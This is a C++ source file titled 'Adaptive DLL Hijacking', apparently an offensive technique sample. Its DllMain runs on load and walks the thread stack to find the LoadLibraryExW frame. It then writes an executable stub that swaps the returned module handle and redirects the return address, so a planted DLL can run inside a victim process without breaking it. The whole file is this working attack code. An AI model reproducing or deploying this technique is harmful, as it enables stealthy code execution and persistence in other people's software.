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Adaptive DLL Hijacking - Patching LoadLibrary Return
#include <Windows.h>
#include <intrin.h>
#include <string>
#include <TlHelp32.h>
#include <psapi.h>
BOOL PatchTheRet(HMODULE realModule) {
// Get primary module info
PBYTE baseAddress = NULL;
DWORD baseSize = 0;
WCHAR fileName[MAX_PATH];
GetProcessImageFileName((HANDLE)-1, fileName, MAX_PATH);
std::wstring pathString = std::wstring(fileName);
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
MODULEENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Module32Next(hSnapShot, &pEntry);
while (hRes)
{
if (pathString.find(pEntry.szModule) != std::wstring::npos) {
baseAddress = pEntry.modBaseAddr;
baseSize = pEntry.modBaseSize;
break;
}
hRes = Module32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
if (!baseAddress || !baseSize)
return FALSE;
// Hunt the stack
PBYTE loadLibrary = (PBYTE)GetProcAddress(GetModuleHandle(L"KERNELBASE"), "LoadLibraryExW");
PBYTE* stack = (PBYTE*)_AddressOfReturnAddress();
BOOL foundLoadDll = FALSE;
ULONG_PTR lowLimit, highLimit;
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
for (; (ULONG_PTR)stack < highLimit; stack++) {
if (*stack < (PBYTE)0x1000)
continue;
if (*stack > loadLibrary&&* stack < loadLibrary + 0x1000) {
// LdrLoadDll is in the stack, let's start looking for our module
foundLoadDll = TRUE;
}
if (foundLoadDll && *stack > baseAddress&&* stack < (baseAddress + baseSize)) {
MEMORY_BASIC_INFORMATION mInfo = { 0 };
VirtualQuery(*stack, &mInfo, sizeof(mInfo));
if (!(mInfo.Protect & PAGE_EXECUTE_READ))
continue;
// Prepare a small rewrite+jmp block
BYTE RetRewrite[22] = {
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <val>
0x48, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rbx, <val>
0xFF, 0xE3 // jmp rbx
};
PBYTE rewrite = (PBYTE)VirtualAlloc(0, sizeof(RetRewrite), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!rewrite) return FALSE;
RtlCopyMemory(rewrite, RetRewrite, sizeof(RetRewrite));
RtlCopyMemory(rewrite + 2, &realModule, 8);
RtlCopyMemory(rewrite + 12, stack, 8);
// Move return address to our rewrite
*(PBYTE *)stack = rewrite;
return TRUE;
}
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call != DLL_PROCESS_ATTACH)
return TRUE;
HMODULE kernel32 = LoadLibrary(L"kernel32.dll");
PatchTheRet(kernel32);
return TRUE;
}
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